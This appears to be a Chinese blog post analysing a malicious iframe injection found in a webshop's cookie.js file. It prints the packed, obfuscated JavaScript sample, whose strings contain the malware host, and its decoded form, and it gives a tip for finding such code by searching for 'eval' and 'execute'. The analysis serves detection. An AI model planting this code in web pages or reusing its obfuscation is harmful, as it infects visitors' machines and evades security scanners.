这几天,朋友的顽皮屋商城被挂马,进入网站的时候,卡巴斯基提示xxxx\cookie.js被挂iframe,并且报iframe目的页有马。
打开cookie.js文件后,发现其中多了如下代码:
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--)d[c.toString(a)]=k[c]||c.toString(a);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('4 a=3.7;4 9=a.x("6");w(9!=-1){}v{4 2=u t();2.s(2.r()+q*8*8*p);3.7="6=o;2="+2.n();3.m("<5 l=k://j.i.h/g/f.e d=c b=0></5>")}',34,34,'||expires|document|var|iframe|cookiesleep|cookie|60|start|cookieString|height|10|width|asp|as|include|org|3322|360safes|http|src|write|toGMTString|test|1000|12|getTime|setTime|Date|new|else|if|indexOf'.split('|'),0,{}));
我想,如果单单看这个代码的话,很难发现JS文件是被挂了iframe。现在挂马手段越来越高明,挂的代码都是经过算法加密的。让大家不能简单的找出挂马。估计这样写,也是为了逃避服务器上安装的一些木马防火墙吧。不知道有没有人服务器上装过木马防火墙,可以拿这个代码试一下,是否能躲避过木马防火墙。
以上加密后的代码最终运行的代码为:
var cookieString=document.cookie;var start=cookieString.indexOf("cookiesleep");if(start!=-1){}else{var expires=new Date();expires.setTime(expires.getTime()+12*60*60*1000);document.cookie="cookiesleep=test;expires="+expires.toGMTString();document.write("<iframe src=http://....马网.../include/as.asp width=10 height=0></iframe>")}。
这里教大家一个简单的搜索这种马的方法:用editplus中的文件夹搜索,搜索所有js文件,搜索关键字为:eval和execute,然后一个个去看,一般都能找出这种JS木马的。